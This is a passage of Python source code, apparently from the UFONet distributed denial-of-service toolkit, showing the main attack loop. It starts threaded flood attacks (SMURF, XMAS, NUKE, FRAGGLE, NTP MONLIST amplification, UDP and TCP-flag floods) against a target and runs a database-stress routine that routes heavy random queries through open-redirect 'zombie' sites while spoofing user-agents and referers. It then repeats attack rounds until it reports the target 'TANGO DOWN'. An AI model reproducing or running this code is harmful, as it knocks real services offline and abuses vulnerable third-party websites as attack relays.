  5416. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5417. self.t5.daemon = True
  5418. self.t5.start()
  5419. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5420. if xmas:
  5421. try:
  5422. self.options.xmas = int(xmas)
  5423. except:
  5424. self.options.xmas = 101 # default XMAS requests
  5425. if self.options.xmas < 1:
  5426. self.options.xmas = 101
  5427. self.instance = XMAS() # instance main class for XMAS operations
  5428. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5429. self.t6.daemon = True
  5430. self.t6.start()
  5431. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5432. if nuke:
  5433. if sys.platform == "linux" or sys.platform == "linux2":
  5434. try:
  5435. self.options.nuke = int(nuke)
  5436. except:
  5437. self.options.nuke = 10000 # default NUKE requests
  5438. if self.options.nuke < 1:
  5439. self.options.nuke = 10000
  5440. self.instance = NUKE() # instance main class for NUKE operations
  5441. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5442. self.t7.daemon = True # extra weapons are threaded as daemons
  5443. self.t7.start()
  5444. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5445. else:
  5446. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5447. if tachyon:
  5448. try:
  5449. self.options.tachyon = int(tachyon)
  5450. except:
  5451. self.options.tachyon = 1000 # default TACHYON requests
  5452. if self.options.tachyon < 1:
  5453. self.options.tachyon = 1000
  5454. self.instance = TACHYON() # instance main class for TACHYON operations
  5455. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5456. self.t8.daemon = True
  5457. self.t8.start()
  5458. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5459. if monlist:
  5460. try:
  5461. self.options.monlist = int(monlist)
  5462. except:
  5463. self.options.monlist = 1000 # default MONLIST requests
  5464. if self.options.monlist < 1:
  5465. self.options.monlist = 1000
  5466. self.instance = MONLIST() # instance main class for MONLIST operations
  5467. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5468. self.t9.daemon = True
  5469. self.t9.start()
  5470. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5471. if ufoack:
  5472. try:
  5473. self.options.ufoack = int(ufoack)
  5474. except:
  5475. self.options.ufoack = 101 # default UFOACK requests
  5476. if self.options.ufoack < 1:
  5477. self.options.ufoack = 101
  5478. self.instance = UFOACK() # instance main class for UFOACK operations
  5479. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5480. self.t10.daemon = True
  5481. self.t10.start()
  5482. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5483. if uforst:
  5484. try:
  5485. self.options.uforst = int(uforst)
  5486. except:
  5487. self.options.uforst = 101 # default UFORST requests
  5488. if self.options.uforst < 1:
  5489. self.options.uforst = 101
  5490. self.instance = UFORST() # instance main class for UFORST operations
  5491. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  5492. self.t11.daemon = True
  5493. self.t11.start()
  5494. self.update_uforst_stats() # add new UFORST attack to mothership stats
  5495. if droper:
  5496. try:
  5497. self.options.droper = int(droper)
  5498. except:
  5499. self.options.droper = 101 # default DROPER requests
  5500. if self.options.droper < 1:
  5501. self.options.droper = 101
  5502. self.instance = DROPER() # instance main class for DROPER operations
  5503. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  5504. self.t12.daemon = True
  5505. self.t12.start()
  5506. self.update_droper_stats() # add new DROPER attack to mothership stats
  5507. if overlap:
  5508. try:
  5509. self.options.overlap = int(overlap)
  5510. except:
  5511. self.options.overlap = 101 # default OVERLAP requests
  5512. if self.options.overlap < 1:
  5513. self.options.overlap = 101
  5514. self.instance = OVERLAP() # instance main class for OVERLAP operations
  5515. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  5516. self.t13.daemon = True
  5517. self.t13.start()
  5518. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  5519. if pinger:
  5520. try:
  5521. self.options.pinger = int(pinger)
  5522. except:
  5523. self.options.pinger = 101 # default PINGER requests
  5524. if self.options.pinger < 1:
  5525. self.options.pinger = 101
  5526. self.instance = PINGER() # instance main class for PINGER operations
  5527. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  5528. self.t14.daemon = True
  5529. self.t14.start()
  5530. self.update_pinger_stats() # add new PINGER attack to mothership stats
  5531. if ufoudp:
  5532. try:
  5533. self.options.ufoudp = int(ufoudp)
  5534. except:
  5535. self.options.ufoudp = 101 # default UFOUDP requests
  5536. if self.options.ufoudp < 1:
  5537. self.options.ufoudp = 101
  5538. self.instance = UFOUDP() # instance main class for UFOUDP operations
  5539. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  5540. self.t15.daemon = True
  5541. self.t15.start()
  5542. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  5543. if fraggle:
  5544. try:
  5545. self.options.fraggle = int(fraggle)
  5546. except:
  5547. self.options.fraggle = 101 # default FRAGGLE requests
  5548. if self.options.fraggle < 1:
  5549. self.options.fraggle = 101
  5550. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  5551. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  5552. self.t16.daemon = True
  5553. self.t16.start()
  5554. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  5555. if sniper:
  5556. try:
  5557. self.options.sniper = int(sniper)
  5558. except:
  5559. self.options.sniper = 101 # default SNIPER requests
  5560. if self.options.sniper < 1:
  5561. self.options.sniper = 101
  5562. self.instance = SNIPER() # instance main class for SNIPER operations
  5563. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  5564. self.t17.daemon = True
  5565. self.t17.start()
  5566. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  5567. def stressing(self, target, zombie):
  5568. # perform a DDoS Web attack against a target, requesting records on target's database
  5569. options = self.options
  5570. db_input = self.options.dbstress
  5571. def random_key(length):
  5572. key = ''
  5573. for i in range(length):
  5574. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  5575. return key
  5576. # generating random alphanumeric queries
  5577. if self.db_flash > 9: # set db flash start on: 10
  5578. length = 1024 # search a heavy random length query (db flash): 1024
  5579. self.db_flash = 0 # reset db flash counter
  5580. else:
  5581. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  5582. key = str(random_key(length))
  5583. if self.db_flash > 9:
  5584. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  5585. else:
  5586. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  5587. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5588. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5589. if not target.endswith('/'): # add "/" to end of target
  5590. target = target + "/"
  5591. url = zombie + target + db_input + key
  5592. req = urllib.request.Request(url, None, headers)
  5593. if options.proxy: # set proxy
  5594. self.proxy_transport(options.proxy)
  5595. try:
  5596. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5597. except urllib.error.HTTPError as e:
  5598. if e.code == 401:
  5599. print('[Info] [AI] [DBStress] Not authorized')
  5600. elif e.code == 404:
  5601. print('[Info] [AI] [DBStress] Not found')
  5602. elif e.code == 503:
  5603. print('[Info] [AI] [DBStress] Service unavailable')
  5604. else:
  5605. print('[Info] [AI] [DBStress] Unknown error')
  5606. else:
  5607. print('[Info] [AI] [DBStress] Database query: HIT!')
  5608. def attackme(self, zombies):
  5609. # perform a DDoS Web attack against yourself
  5610. print("[AI] Starting local port to listening at: " + self.port + "\n")
  5611. print('='*21 + "\n")
  5612. self.doll=Doll(self)
  5613. self.doll.start()
  5614. while not self.doll._armed:
  5615. time.sleep(1)
  5616. # send Open Redirect injection (multiple zombies-multiple target urls)
  5617. target = ""
  5618. self.injection(target, zombies)
  5619. self.doll.shutdown()
  5620. self.doll.join()
  5621. self.herd.list_fails()
  5622. def check_target_status(self):
  5623. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  5624. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  5625. if not self.options.forceyes:
  5626. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  5627. print("\n" + '-'*25)
  5628. else:
  5629. update_reply = "N"
  5630. if update_reply == "y" or update_reply == "Y":
  5631. try: # send HEAD connection
  5632. self.head = True
  5633. reply = self.connect_zombie(target)
  5634. self.head = False
  5635. if reply:
  5636. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  5637. else:
  5638. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5639. self.update_targets_crashed() # update targets crashed stats
  5640. self.update_mothership_stats() # update mothership completed attack stats
  5641. except Exception:
  5642. print("\n[Error] [AI] Something wrong with your connection!...\n")
  5643. if DEBUG == True:
  5644. traceback.print_exc()
  5645. return
  5646. else:
  5647. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5648. self.update_targets_crashed() # update targets crashed stats
  5649. self.update_mothership_stats() # update mothership completed attack stats
  5650. return
  5651. def starting_target_check(self, target, head_check):
  5652. options = self.options
  5653. head_check_here = False
  5654. head_check_external = False
  5655. if options.disablehead: # check at start is disabled (skipping!)
  5656. print("[Info] [AI] Skipping external check...\n")
  5657. head_check_here = True
  5658. head_check_external = True
  5659. else:
  5660. if head_check:
  5661. if not options.attackme:
  5662. print("[AI] Launching: 'Is target up?' check...\n")
  5663. try: # send HEAD connection
  5664. self.head = True
  5665. reply = self.connect_zombie(target)
  5666. self.head = False
  5667. if reply:
  5668. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  5669. head_check_here = True
  5670. else:
  5671. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  5672. head_check_here = False
  5673. except Exception:
  5674. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5675. if DEBUG == True:
  5676. traceback.print_exc()
  5677. head_check_here = False
  5678. else: # check if local IP/PORT is listening on mothership
  5679. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5680. try:
  5681. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5682. result = sock.connect_ex(('0.0.0.0',8080))
  5683. if result == 0 or result == 110: # black magic
  5684. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5685. head_check_here = True
  5686. else:
  5687. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5688. head_check_here = False
  5689. except Exception:
  5690. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5691. if DEBUG == True:
  5692. traceback.print_exc()
  5693. head_check_here = False
  5694. else:
  5695. head_check_here = True
  5696. # check target using external check services
  5697. self.external = True
  5698. if not options.attackme:
  5699. try:
  5700. target = self.parse_url_encoding(target) # parse for proper url encoding
  5701. try:
  5702. url = self.external_check_service1 + target # check from external service [1]
  5703. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5704. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5705. if options.proxy: # set proxy
  5706. self.proxy_transport(options.proxy)
  5707. req = urllib.request.Request(url, None, headers)
  5708. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5709. if b"returned code 200 OK and is up" in external_reply:
  5710. t = urlparse(self.external_check_service1)
  5711. name_external1 = t.netloc
  5712. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5713. head_check_external = True
  5714. except:
  5715. url = self.external_check_service2 + target # check from external service [2]
  5716. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5717. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5718. if options.proxy: # set proxy
  5719. self.proxy_transport(options.proxy)
  5720. req = urllib.request.Request(url, None, headers)
  5721. try:
  5722. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5723. if b"It's just you" in req_reply:
  5724. t = urlparse(self.external_check_service2)
  5725. name_external2 = t.netloc
  5726. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5727. head_check_external = True
  5728. else:
  5729. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5730. head_check_external = False
  5731. except urllib.error.HTTPError as e:
  5732. if e:
  5733. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5734. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5735. head_check_external = False
  5736. except Exception:
  5737. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5738. if DEBUG == True:
  5739. traceback.print_exc()
  5740. head_check_external = False
  5741. else:
  5742. try: # check mothership from public ip / NAT using HEAD request
  5743. try:
  5744. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5745. reply = urllib.request.urlopen(req)
  5746. except Exception:
  5747. reply = None
  5748. if reply:
  5749. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5750. head_check_external = True
  5751. else:
  5752. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5753. head_check_external = False
  5754. head_check_here = False # stop attack if not public IP available
  5755. except Exception:
  5756. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5757. head_check_here = False # stop attack if not public IP available
  5758. if DEBUG == True:
  5759. traceback.print_exc()
  5760. head_check_external = False
  5761. self.external = False
  5762. return head_check_here, head_check_external
  5763. def injection(self, target, zombies, head_check = True):
  5764. options = self.options
  5765. # check target's integrity at start
  5766. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5767. # ask user to confirm the attack
  5768. if head_check_here == True or head_check_external == True:
  5769. if not self.options.forceyes:
  5770. if not options.attackme:
  5771. if not options.disablehead:
  5772. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5773. else:
  5774. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5775. else:
  5776. if not options.disablehead:
  5777. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5778. else:
  5779. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5780. else:
  5781. start_reply = "Y"
  5782. if start_reply == "y" or start_reply == "Y":
  5783. if options.attackme:
  5784. total_rounds = 2 # default rounds for attackme
  5785. else:
  5786. total_rounds = options.rounds # extract number of rounds
  5787. try:
  5788. total_rounds = int(total_rounds)
  5789. except:
  5790. total_rounds = 1
  5791. if not total_rounds:
  5792. total_rounds = 1
  5793. if total_rounds <= 0:
  5794. total_rounds = 1
  5795. self.herd.cleanup()
  5796. num_round = 1
  5797. num_hits = 0
  5798. num_zombie = 1
  5799. # start to attack the target with [MODS]
  5800. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5801. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5802. ex.daemon = True # extra weapons are threaded as daemons
  5803. ex.start()
  5804. # start to attack the target with [ARMY]
  5805. zombies = self.extract_zombies() # extract zombies from file
  5806. if zombies:
  5807. self.total_zombie = len(zombies)
  5808. else:
  5809. self.total_zombie = 0
  5810. return
  5811. self.herd=Herd(self)
  5812. if not self.options.disablepurge:
  5813. self.discardzombies = []
  5814. self.discard_aliens = []
  5815. self.discard_droids = []
  5816. self.discard_rpcs = []
  5817. self.discard_ucavs = []
  5818. total_disc_zombies = 0
  5819. self.num_discard_zombies = 0
  5820. self.num_discard_aliens = 0
  5821. self.num_discard_droids = 0
  5822. self.num_discard_rpcs = 0
  5823. self.num_discard_ucavs = 0
  5824. self.empty_zombies = False
  5825. for i in range(0, int(total_rounds)): # start attacking using rounds
  5826. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5827. print('='*42)
  5828. print('Starting round:', num_round, ' of ', total_rounds)
  5829. print('='*42)
  5830. self.herd.reset()
  5831. self.extra_zombies_lock = True
  5832. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5833. self.send_zombies(zombies) # send [Zombies]
  5834. if not self.options.attackme:
  5835. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5836. if self.options.verbose:
  5837. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5838. self.send_extra_zombies() # send [ARMY]
  5839. while self.extra_zombies_lock == True:
  5840. time.sleep(1) # wait for [ARMY] to return
  5841. if self.options.verbose:
  5842. print("\n" + '='*42)
  5843. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5844. else:
  5845. zombies_lock = 0
  5846. if self.options.expire: # set timing for purge
  5847. try:
  5848. timing = int(self.options.expire)
  5849. except:
  5850. timing = self.expire_timing # default timing for purge
  5851. else:
  5852. timing = self.expire_timing # default timing for purge
  5853. if timing < 1:
  5854. timing = self.expire_timing # default timing for purge
  5855. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5856. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5857. zombies_lock = zombies_lock + 1
  5858. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5859. if self.options.verbose:
  5860. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5861. break
  5862. else:
  5863. time.sleep(1)
  5864. if self.options.verbose:
  5865. print("\n" + '='*42)
  5866. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5867. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5868. self.check_target_status()
  5869. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5870. self.abandoning_zombies() # check for abandoning zombies
  5871. for zombie in self.herd.done: # check for num hits
  5872. if self.herd.connection_failed(zombie) == False:
  5873. num_hits = num_hits + 1
  5874. num_zombie = num_zombie + 1
  5875. if num_zombie > self.total_zombie:
  5876. num_zombie = 1
  5877. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5878. check_is_loading = self.check_is_loading(target)
  5879. self.herd.dump_html()
  5880. if not self.options.disablepurge:
  5881. if self.empty_zombies == True:
  5882. break # exit routine when not any more zombies
  5883. num_round = num_round + 1
  5884. if self.options.verbose:
  5885. print("\n" + '='*42)
  5886. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5887. if self.options.loic: # try to stop daemons/threads for extra weapons
  5888. self.t1.join()
  5889. if self.options.loris:
  5890. self.t2.join()
  5891. if self.options.ufosyn:
  5892. self.t3.join()
  5893. if self.options.spray:
  5894. self.t4.join()
  5895. if self.options.smurf:
  5896. self.t5.join()
  5897. if self.options.xmas:
  5898. self.t6.join()
  5899. if self.options.nuke:
  5900. self.t7.join()
  5901. if self.options.tachyon:
  5902. self.t8.join()
  5903. if self.options.monlist:
  5904. self.t9.join()
  5905. if self.options.ufoack:
  5906. self.t10.join()
  5907. if self.options.uforst:
  5908. self.t11.join()
  5909. if self.options.droper:
  5910. self.t12.join()
  5911. if self.options.overlap:
  5912. self.t13.join()
  5913. if self.options.pinger:
  5914. self.t14.join()
  5915. if self.options.ufoudp:
  5916. self.t15.join()
  5917. if self.options.fraggle:
  5918. self.t16.join()
  5919. if self.options.sniper:
  5920. self.t17.join()
  5921. if self.options.target_list:
  5922. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5923. print ("\x1b[2J\x1b[H") # black magic
  5924. if not self.options.attackme: # show herd results
  5925. self.herd.dump()
  5926. else: # show doll results
  5927. print('='*21)
  5928. print("\n[Info] [AI] Mothership transmission...\n")
  5929. num_real_zombies = len(self.doll.real_zombies)
  5930. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5931. for z in self.doll.real_zombies: # show only alien verified zombies
  5932. for x in z:
  5933. print(" - " + str(x))
  5934. self.herd.dump_html(True) # show (all) zombies statistics
  5935. if not self.options.attackme:
  5936. if not self.options.disablepurge:
  5937. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5938. else:
  5939. if not options.target_list:
  5940. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5941. else:
  5942. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5943. self.update_mothership_stats() # update mothership stats
  5944. if not self.options.disablepurge:
  5945. print('='*21+ "\n")
  5946. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5947. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5948. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5949. elif total_disc_zombies > 1:
  5950. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5951. if self.num_discard_zombies > 0:
  5952. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5953. if self.num_discard_aliens > 0:
  5954. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5955. if self.num_discard_droids > 0:
  5956. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5957. if self.num_discard_rpcs > 0:
  5958. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5959. if self.num_discard_ucavs > 0:
  5960. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5961. if total_disc_zombies > 0:
  5962. if not self.options.forceyes:
  5963. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5964. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  5965. elif total_disc_zombies > 1:
  5966. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  5967. else:
  5968. backup_reply = "Y"
  5969. if backup_reply == "y" or backup_reply == "Y":
  5970. print("\n[Info] [AI] Purging failed units from files...\n")
  5971. discarded = []
  5972. if self.num_discard_zombies > 0:
  5973. for z in self.discardzombies:
  5974. discarded.append(z)
  5975. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  5976. if self.num_discard_aliens > 0:
  5977. for a in self.discard_aliens:
  5978. discarded.append(a)
  5979. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  5980. if self.num_discard_droids > 0:
  5981. for d in self.discard_droids:
  5982. discarded.append(d)
  5983. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  5984. if self.num_discard_rpcs > 0:
  5985. for r in self.discard_rpcs:
  5986. discarded.append(r)
  5987. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  5988. if self.num_discard_ucavs > 0:
  5989. for u in self.discard_ucavs:
  5990. discarded.append(u)
  5991. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  5992. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5993. if disc_zombies > 0 and disc_zombies < 2:
  5994. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  5995. elif disc_zombies > 1:
  5996. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  5997. if not self.options.target_list:
  5998. print('-'*21+ "\n")
  5999. print("[AI] "+self.exit_msg+"\n")
  6000. if not self.options.web:
  6001. return
  6002. else:
  6003. if self.num_target_list > 0: # still more targets
  6004. print('-'*21+ "\n")
  6005. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6006. return
  6007. else: # finish attack from multiple targets
  6008. print('-'*21+ "\n")
  6009. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6010. print("\n"+ '='*21+ "\n")
  6011. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6012. print("\n"+ '-'*21+ "\n")
  6013. print("[AI] "+self.exit_msg+"\n")
  6014. if not self.options.web:
  6015. return
  6016. else:
  6017. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6018. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6019. if os.path.exists('mothership') == True:
  6020. os.remove('mothership') # remove mothership stream
  6021. if os.path.exists('alien') == True:
  6022. os.remove('alien') # remove random alien worker
  6023. if not options.web:
  6024. sys.exit(2) # exit
  6025. else:
  6026. return
  6027. else:
  6028. print("\n" + '='*21)
  6029. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6030. if AI_reply == "y" or AI_reply == "Y":
  6031. self.AI() # AI fortune cookie
  6032. print('-'*21+ "\n")
  6033. print("\n[AI] "+self.exit_msg+"\n")
  6034. if os.path.exists('mothership') == True:
  6035. os.remove('mothership') # remove mothership stream
  6036. if os.path.exists('alien') == True:
  6037. os.remove('alien') # remove random alien worker
  6038. if not options.web:
  6039. sys.exit(2) # exit
  6040. else:
  6041. return
  6042. else:
  6043. if not options.attackme:
  6044. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6045. else:
  6046. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6047. print("\n" + '-'*21)
  6048. print("\n[AI] "+self.exit_msg+"\n")
  6049. if os.path.exists('mothership') == True:
  6050. os.remove('mothership') # remove mothership stream
  6051. if os.path.exists('alien') == True:
  6052. os.remove('alien') # remove random alien worker
  6053. return
  6054. if __name__ == "__main__":
  6055. app = UFONet()
  6056. options = app.create_options()
  6057. if options:
  6058. app.run()